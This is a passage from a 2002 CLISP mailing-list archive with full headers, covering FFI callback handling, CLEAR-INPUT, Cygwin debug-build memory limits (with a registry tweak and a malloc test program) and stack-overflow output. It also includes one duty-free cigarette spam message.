by the microsoft dll >funcall which calls the lisp oncreate function. > >The funcall causes the lisp stack overflow. > >Do I need to add a begin_callback()/end_callback() around the funcall? Yes, not only around the funcall, but as soon as you do anything with the lisp world, e.g. pushSTACK() prior to the funcall etc. If the callback is a Lisp function (typically obtained when passing a Lisp function as argument via the FFI), begin/end_callback() is taken care of for you in src/foreign.d:callback() and by the CLISP compiler of DEF-CALL-IN forms. The explicit begin/end_callback() is needed if you write C (glue) code and access (or call) some Lisp data from there. BTW, why don't you let the FFI build the callback for you, if all you do anyway is call a Lisp function? >(gdi::initc *functions* #'onCreate) You didn't show initc's signature, but it looks like a foreign function. If it is such, depending on the signature, it receives the parameter f as a pointer to a (C-style trampoline) function (and *not* as a pointer to a Lisp function object). See also src/foreign.d:convert_function_to_foreign(). Therefore, the way to call it (from C) is not via funcall, but using C call style. E.g. > pushSTACK(allocate_fpointer(hWnd)); > funcall(O(onCreate),1); // fails in this call seems wrong. Instead you can use void (*onCreate)(WINDOWS_HANDLE h); /* as a C variable */ /* 1 argument callback */ in initc: onCreate = (cast) (second argument value); and in the C part of the callback: (*onCreate)(hWnd); Or you can invoke convert_function_to_foreign() and also free_foreign_callin() on your own. Sadly, these are not exported from foreign.d (at least in 2.28). NB: You must create callback objects (i.e. trampolines) if you expect to create callbacks to Lisp on your own! The reason is that the address of actual Lisp function changes via GC and the begin/end_callback() stuff. The trampoline machinery in foreign.d and ffcall/ is explicitly there for this purpose (and maintains a mapping from fixed addresses to moving Lisp functions). Did that help? Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon Nov 11 05:38:25 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BElj-0005T0-00 for ; Mon, 11 Nov 2002 05:38:23 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 11 Nov 2002 14:36:19 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 11 Nov 2002 14:36:19 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: clear-input not working from dos box? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 05:39:02 2002 X-Original-Date: Mon, 11 Nov 2002 14:36:18 +0100 Kaz Kylheku wrote: > then type (on one line) > 2 3 4 5 >This is probably because CLISP is reading your terminal input in >character-at-a-time mode. So the read of 3 completes as soon as the >space character is read in, and no additional characters are buffered >from the operating system. No characters buffered means that there is >nothing to discard. This is how CLISP behaves on Unix. Strange. This differs from how - unverified - CLISP behaves on AmigaOS, where, even in character a t a t i m e mode, the input device (and associate processes) will know that 4 and 5 have already been typed (the keystrokes made it to the OS, after all!), and an application can query this fact, so CLISP will skip past them. Is readline active in Don's windows CLISP? Does type ahead cause trouble when CLISP enters a debugger loop or does discarding input work fine there? That's the typical use-case for CLEAR-INPUT. BTW, Kaz, thanks for your informative posts on various subjects, e.g. FFI. Regards, Jorg Hohle. From dan.stanger@ieee.org Mon Nov 11 05:42:57 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BEq9-0006Hw-00 for ; Mon, 11 Nov 2002 05:42:57 -0800 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #3) id 18BEpq-0002Yg-00; Mon, 11 Nov 2002 06:42:38 -0700 Message-ID: <3DCFB3E4.47051A27@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Arseny Slobodjuck CC: Sam Steingold , "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] Compile and Debugging options References: <3DCE7154.1E79A193@ieee.org> <1802873351.20021111171624@ich.dvo.ru> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 05:43:06 2002 X-Original-Date: Mon, 11 Nov 2002 06:43:00 -0700 I got to that point also. Is there no workaround? I was going to build ar with debug, to see if I could run it with gdb. Dan Arseny Slobodjuck wrote: > Hello Sam, > > Monday, November 11, 2002, 3:06:07 AM, you wrote: > > >> Is there a document, it the clisp distribution that covers the various > >> safety and debugging options available for clisp compilation? > > > configure builds CLISP with SAFETY=0 and gcc -O2 > > --with-debug means SAFETY=3 and gcc -g. > Did you ever build clisp with cygwin & gcc & --with-debug ? > It stops at 'ar rcv lisp.a lisp.o' point with 'memory exhausted' > (this is cygwin bug or limitation). I investigated cygwin-list and > this problem seems quite old. > > Dan, please tell if you'll successfully build with-debug. > > -- > Best regards, > Arseny > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From sds@gnu.org Mon Nov 11 05:59:43 2002 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BF6N-0000cz-00 for ; Mon, 11 Nov 2002 05:59:43 -0800 Received: from loiso.podval.org ([151.203.42.207]) by out002.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021111135935.WXFJ2867.out002.verizon.net@loiso.podval.org>; Mon, 11 Nov 2002 07:59:35 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gABE0xwQ023913; Mon, 11 Nov 2002 09:00:59 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gABE0tRb023909; Mon, 11 Nov 2002 09:00:55 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: "clisp-list@lists.sourceforge.net" Subject: Re: Re[2]: [clisp-list] Compile and Debugging options References: <3DCE7154.1E79A193@ieee.org> <1802873351.20021111171624@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1802873351.20021111171624@ich.dvo.ru> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out002.verizon.net from [151.203.42.207] at Mon, 11 Nov 2002 07:59:34 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 06:00:03 2002 X-Original-Date: 11 Nov 2002 09:00:54 -0500 > * In message <1802873351.20021111171624@ich.dvo.ru> > * On the subject of "Re[2]: [clisp-list] Compile and Debugging options" > * Sent on Mon, 11 Nov 2002 17:16:24 +1000 > * Honorable Arseny Slobodjuck writes: > > Monday, November 11, 2002, 3:06:07 AM, you wrote: > > >> Is there a document, it the clisp distribution that covers the various > >> safety and debugging options available for clisp compilation? > > > configure builds CLISP with SAFETY=0 and gcc -O2 > > --with-debug means SAFETY=3 and gcc -g. > Did you ever build clisp with cygwin & gcc & --with-debug ? > It stops at 'ar rcv lisp.a lisp.o' point with 'memory exhausted' > (this is cygwin bug or limitation). I investigated cygwin-list and > this problem seems quite old. yes, I have seen this, but it does not prevent you from debugging CLISP on cygwin. this error happens after lisp.run is already there. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux cogito cogito ergo cogito sum From ampy@ich.dvo.ru Mon Nov 11 06:09:56 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BFG7-00026z-00 for ; Mon, 11 Nov 2002 06:09:48 -0800 Received: from ppp110-AS-2.vtc.ru (ppp110-AS-2.vtc.ru [212.16.216.110]) by vtc.ru (8.12.6/8.12.6) with ESMTP id gABE9A2d016906; Tue, 12 Nov 2002 00:09:12 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <17927710435.20021112001021@ich.dvo.ru> To: Dan Stanger CC: "clisp-list@lists.sourceforge.net" Subject: Re[2]: [clisp-list] Compile and Debugging options In-reply-To: <3DCFB3E4.47051A27@ieee.org> References: <3DCE7154.1E79A193@ieee.org> <1802873351.20021111171624@ich.dvo.ru> <3DCFB3E4.47051A27@ieee.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 06:10:06 2002 X-Original-Date: Tue, 12 Nov 2002 00:10:21 +1000 Hello Dan, Monday, November 11, 2002, 11:43:00 PM, you wrote: > I got to that point also. Is there no workaround? I didn't found any. > I was going to build ar with debug, to see if I could run it with gdb. Wow, cool. But the problem seems to be not in ar but in memory management. It's my impression. Need to scan cygwin-list for the pass 2. -- Best regards, Arseny From sds@gnu.org Mon Nov 11 06:16:37 2002 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BFMj-0002lN-00 for ; Mon, 11 Nov 2002 06:16:37 -0800 Received: from loiso.podval.org ([151.203.42.207]) by out002.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021111141630.XAJW2867.out002.verizon.net@loiso.podval.org>; Mon, 11 Nov 2002 08:16:30 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gABEHtwQ023954; Mon, 11 Nov 2002 09:17:55 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gABEHsas023950; Mon, 11 Nov 2002 09:17:54 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Scott Schwartz Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bug report: 2.30 writes garbage to stdout References: <20021111014818.3594.qmail@g.bio.cse.psu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20021111014818.3594.qmail@g.bio.cse.psu.edu> Message-ID: Lines: 51 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out002.verizon.net from [151.203.42.207] at Mon, 11 Nov 2002 08:16:30 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 06:17:05 2002 X-Original-Date: 11 Nov 2002 09:17:54 -0500 > * In message <20021111014818.3594.qmail@g.bio.cse.psu.edu> > * On the subject of "Re: [clisp-list] bug report: 2.30 writes garbage to stdout " > * Sent on 10 Nov 2002 20:48:18 -0500 > * Honorable Scott Schwartz writes: > > | > *** - Lisp stack overflow. RESET > | > > | > *** - READ from #: illegal character #\Null[1]> > | > | of course: NULL (which is what is read from /dev/zero) is an illegal char. > > It should not be reading *any* characters! There should be *no* break > loop in this situation! that was a bug, it has been fixed. > That to the side, ASCII NUL is *not* an illegal character. It's > perfectly valid, just like any other. wrong. please see CLHS. > | well, this is what CLISP usually does. > | stack overflow appears to be different. > | please try the appended patch. > > It looks wrong to me. > > nonreturning_function(global, SP_ueber, (void)) { > asciz_out(GETTEXTL(NLstring "*** - " "Program stack overflow. RESET")); > + if (interactive_stream_p(Symbol_value(S(debug_io)))) > reset(); > + /* non-interactive session: quit */ > + else { asciz_out(NLstring); final_exitcode=1; quit(); } > } > > That still unconditionally spews garbage > "*** - " "Program stack overflow. RESET" > to stdout. A lot of CLISP low-level stuff is a hold-over from the Amiga days where probably there was no difference between stdout and stderr. At any rate, making asciz_out() print to stderr instead of stdout is probably not a very good idea. Patches are welcome. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Diplomacy is the art of saying "nice doggy" until you can find a rock. From dan.stanger@ieee.org Mon Nov 11 07:07:39 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BGA7-0000qv-00 for ; Mon, 11 Nov 2002 07:07:39 -0800 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #3) id 18BGA4-00008t-00 for clisp-list@lists.sourceforge.net; Mon, 11 Nov 2002 08:07:36 -0700 Message-ID: <3DCFC7CE.CE812877@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] Compile and Debugging options References: <3DCE7154.1E79A193@ieee.org> <1802873351.20021111171624@ich.dvo.ru> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 07:08:03 2002 X-Original-Date: Mon, 11 Nov 2002 08:07:58 -0700 Sam Steingold wrote: > > * In message <1802873351.20021111171624@ich.dvo.ru> > > * On the subject of "Re[2]: [clisp-list] Compile and Debugging options" > > * Sent on Mon, 11 Nov 2002 17:16:24 +1000 > > * Honorable Arseny Slobodjuck writes: > > > > Monday, November 11, 2002, 3:06:07 AM, you wrote: > > > > >> Is there a document, it the clisp distribution that covers the various > > >> safety and debugging options available for clisp compilation? > > > > > configure builds CLISP with SAFETY=0 and gcc -O2 > > > --with-debug means SAFETY=3 and gcc -g. > > Did you ever build clisp with cygwin & gcc & --with-debug ? > > It stops at 'ar rcv lisp.a lisp.o' point with 'memory exhausted' > > (this is cygwin bug or limitation). I investigated cygwin-list and > > this problem seems quite old. > > yes, I have seen this, but it does not prevent you from debugging > CLISP on cygwin. this error happens after lisp.run is already there. Does this mean that I can just touch lisp.a, and continue? What is lisp.a needed for? Dan > > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux > > > cogito cogito ergo cogito sum > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From lisp-clisp-list@m.gmane.org Mon Nov 11 07:16:01 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BGIA-0003HX-00 for ; Mon, 11 Nov 2002 07:15:58 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18BGGW-0004bw-00 for ; Mon, 11 Nov 2002 16:14:16 +0100 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18BGGV-0004bl-00 for ; Mon, 11 Nov 2002 16:14:15 +0100 Path: not-for-mail From: Sam Steingold Organization: disorganization Lines: 25 Message-ID: References: <3DCE7154.1E79A193@ieee.org> <1802873351.20021111171624@ich.dvo.ru> <3DCFC7CE.CE812877@ieee.org> Reply-To: sds@gnu.org NNTP-Posting-Host: pool-151-203-42-207.bos.east.verizon.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1037027655 15915 151.203.42.207 (11 Nov 2002 15:14:15 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Mon, 11 Nov 2002 15:14:15 +0000 (UTC) X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Compile and Debugging options Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 07:17:07 2002 X-Original-Date: 11 Nov 2002 10:17:21 -0500 > * In message <3DCFC7CE.CE812877@ieee.org> > * On the subject of "Re: Compile and Debugging options" > * Sent on Mon, 11 Nov 2002 08:07:58 -0700 > * Honorable Dan Stanger writes: > > Sam Steingold wrote: > > > yes, I have seen this, but it does not prevent you from debugging > > CLISP on cygwin. this error happens after lisp.run is already there. > > Does this mean that I can just touch lisp.a, and continue? depends on what you want to accomplish. :-) I _think_ you should be able to debug CLISP on cygwin despite this problem... > What is lisp.a needed for? it's for making binary distributions. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If abortion is murder, then oral sex is cannibalism. From Joerg-Cyril.Hoehle@t-systems.com Mon Nov 11 07:21:17 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BGNH-00056d-00 for ; Mon, 11 Nov 2002 07:21:15 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 11 Nov 2002 16:20:55 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 11 Nov 2002 16:20:55 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] bug report: 2.30 writes garbage to stdout MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 07:22:02 2002 X-Original-Date: Mon, 11 Nov 2002 16:20:52 +0100 Hi, >A lot of CLISP low-level stuff is a hold-over from the Amiga days where >probably there was no difference between stdout and stderr. Er, CLISP was initially written on the Atari, in assembly language(!). When I joined in, in 1992, with interest in an Amiga port, Bruno decided that using the assembly version was a dead end - I never saw it. He and Marcus Stoll had already rewritten most (all?) parts in C - which is still very similar to the CLISP sources we see nowadays. CLISP once ran using 1,5MB of RAM on my box. The AmigaOS distinguishes stdout from stderr, even though the AmigaOS port has never used a C std library (it used the equivalent of .dll and native OS functions instead, e.g. dos.library/Delete() instead of unlink() or remove()). >At any rate, making asciz_out() print to stderr instead of stdout is >probably not a very good idea. Probably another function need be included to write to stderr (or its equivalent on other systems) - not sure. debug_out() and asciz_out() are really low-level issues, possibly from Atari times. A UNIX programmer nowadays would just presuppose the existence of stderr. Note however that CLISP tried not to mix levels. It did not use (or not at all) use std C I/O (e.g. fopen, fprintf, stdout, stderr names) and sticked to the (UNIX-like) level below (e.g. open, read, write) - in many ports. To me, using names like stderr or stdout means including all of C std I/O, even if it's otherwise completely avoided in the source - there was a reason. Regards, Jorg Hohle. From info@taxfreeciggies.com Mon Nov 11 07:22:07 2002 Received: from dial-212-159-186-72.access.uk.tiscali.com ([212.159.186.72] helo=taxfreeciggies.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BGO6-0005b8-00 for ; Mon, 11 Nov 2002 07:22:06 -0800 From: To: Message-Id: <503.415684.436049@taxfreeciggies.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: [clisp-list] Cigarettes from £9.59 for 200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 07:23:02 2002 X-Original-Date: Mon, 11 Nov 2002 10:49:57 Duty free, delivered direct to your door. We've been supplying airports and Duty Free shops since 1997 and NOW we're doing it online! Forget the hassle of travelling to get your duty free, you can have it dedlivered direct to your home at unbeatable prices. Coronas International £9.59 Lambert & Butler £17.28 Superkings £18.84 Silk Cut £21.64 Embassy £18.84 Why are we the best? - You can try us out by ordering just ONE carton. - We have a guaranteed replacement or instant money back policy in the event of non-delivery. - Delivery takes just 7 days (allow an extra seven days for processing). - Our best advert is a satisfied customer. And we supply hand rolling, pipe tobacco and cigars, too! Welcome to hassle free, Duty Free! Send us an email if you are interested in learning more about where you can shop online. info@taxfreeciggies.com If you don't want to receive any more mails from us, just reply with REMOVE in the subject title. remove@taxfreeciggies.com From Joerg-Cyril.Hoehle@t-systems.com Mon Nov 11 07:28:08 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BGTt-0007MG-00 for ; Mon, 11 Nov 2002 07:28:06 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 11 Nov 2002 16:27:51 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 11 Nov 2002 16:27:50 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: dan.stanger@ieee.org, clisp-list@lists.sourceforge.net Subject: [clisp-list] Compile and Debugging options MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 07:29:01 2002 X-Original-Date: Mon, 11 Nov 2002 16:27:44 +0100 Dan wrote: >What is lisp.a needed for? Isnt'it used by the clisp-link etc. scripts, used when including modules? So that might become a problem for Dan. IIRC, the idea is to be able to say: take your modules, then ld -o myclisp modules.o myadditionalobjects.o -l lisp.a libc.a/so/lib but that's just convenience instead of writing all of CLISP's .o files explicitly - you get them anyway when compiling CLISP. As I once said, I never used the clisp-link script to create modules on the Amiga, nor on MS-Windows. But I didn't automate the jobs either, which is needed for distributions. Regards, Jorg. From rrschulz@cris.com Mon Nov 11 07:49:21 2002 Received: from darius.concentric.net ([207.155.198.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BGoQ-0006Me-00 for ; Mon, 11 Nov 2002 07:49:18 -0800 Received: from mcfeely.concentric.net (mcfeely.concentric.net [207.155.198.83]) by darius.concentric.net [Concentric SMTP Routing 1.0] id gABFmxu28390 for ; Mon, 11 Nov 2002 10:49:00 -0500 (EST) Received: from Clemens.cris.com (da003d0265.sjc-ca.osd.concentric.net [64.1.1.10]) by mcfeely.concentric.net (8.9.1a) id KAA23816; Mon, 11 Nov 2002 10:48:57 -0500 (EST) Message-Id: <5.1.0.14.2.20021111073751.02f548f0@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re[2]: [clisp-list] Compile and Debugging options In-Reply-To: <1802873351.20021111171624@ich.dvo.ru> References: <3DCE7154.1E79A193@ieee.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 11 07:50:08 2002 X-Original-Date: Mon, 11 Nov 2002 07:49:25 -0800 Dan, Arseny, Look into the Cygwin registry setting "heap_chunk_in_mb". It's used to override the default 256 megabyte-per-process heap limit for Cygwin processes. I've had to use it to accomplish an optimized compile one module of an interpreter (XSB Prolog) that had a large switch statement (that was a few years ago using GCC 2.95--GCC 3.2 is now available under Cygwin). This recipe from Charles Werner (posted in a message with the Subject "fixing heap_chunk_in_mb to 512MB doesn't work" on "Fri, 06 Sep 2002 15:03:48 +0200" should be helpful: -==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==- Re: Cygwin memory limit Recently I wanted to increase the program/data memory limit for cygwin beyond the default 256 MB and a quick scan of the cygwin list revealed this thread. I was able to get this to work by doing the following: 1. modify the registry, adding a DWORD value heap_chunk_in_mb and setting it to 1024 using the regtool that is part of the cygtools package in cygwin. The value here is in decimal Mbytes: regtool -i set /HKCU/Software/Cygnus\ Solutions/Cygwin/heap_chunk_in_mb 1024 regtool -v list /HKCU/Software/Cygnus\ Solutions/Cygwin 2. rebooting the machine 3. turning off the inetd service (if you have installed the cygwin inetd service) 4. restarting the inetd service 5. open a cygwin bash shell window. I tested the memory allocation using the following little C program, compiled with: gcc -O max_mem.c -o max_mem.exe #include "stdlib.h" #include "stdio.h" int main(int argc, char **argv) { char *m; int mb; size_t n; if(argc < 2) { printf("usage: %s \n\n",argv[0]) ; printf("input parameters: \n"); printf(" MB number of MB of memory to allocate\n"); exit(-1); } sscanf(argv[1],"%d",&n); m = malloc((size_t)n*1024*1024); if(m == NULL){fprintf(stderr,"cannot allocate memory %d MB of memory\n",n); exit(-1);} else printf("allocated %d MB of memory\n",n); free(m); return(0); } My system is an NT4 SP5 machine running the latest cygwin dll version 1.3.12. I also tried this on a win2K SP2 system sucessfully. Cheers, Charles -- Dr. Charles L. Werner Gamma Remote Sensing AG Thunstrasse 130 CH-3074 Muri b. Bern, Switzerland http://www.gamma-rs.ch -==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==- Note this from the release notes for Cygwin 1.3.14-1: - Accept heap_chunk_in_mb intry in HKEY_LOCAL_MACHINE, too, to allow global setting. (Christopher Faylor) Randall Schulz Mountain View, CA USA At 23:16 2002-11-10, Arseny Slobodjuck wrote: >Hello Sam, > >Monday, November 11, 2002, 3:06:07 AM, you wrote: > > >> Is there a document, it the clisp distribution that covers the various > >> safety and debugging options available for clisp compilation? > > > configure builds CLISP with SAFETY=0 and gcc -O2 > > --with-debug means SAFETY=3 and gcc -g. > >Did you ever build clisp with cygwin & gcc & --with-debug ? >It stops at 'ar rcv lisp.a lisp.o' point with 'memory exhausted' >(this is cygwin bug or limitation). I investigated cygwin-list and >this problem seems quite old. > >Dan, please tell if you'll successfully build with-debug. > >-- >Best regards, > Arseny From don-sourceforge@isis.cs3-inc.com Mon Nov 11 10:49:56 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18BJdD-0004cJ-00 for ; Mon, 11 Nov 2002 10:49:55 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id gABIm9g17650; Mon, 11 Nov 2002 10:48:09 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15823.64361.108946.779469@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net cc: "Hoehle, Joerg-Cyril" Subject: [clisp-list] Re: clear-input not working from dos box? In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: 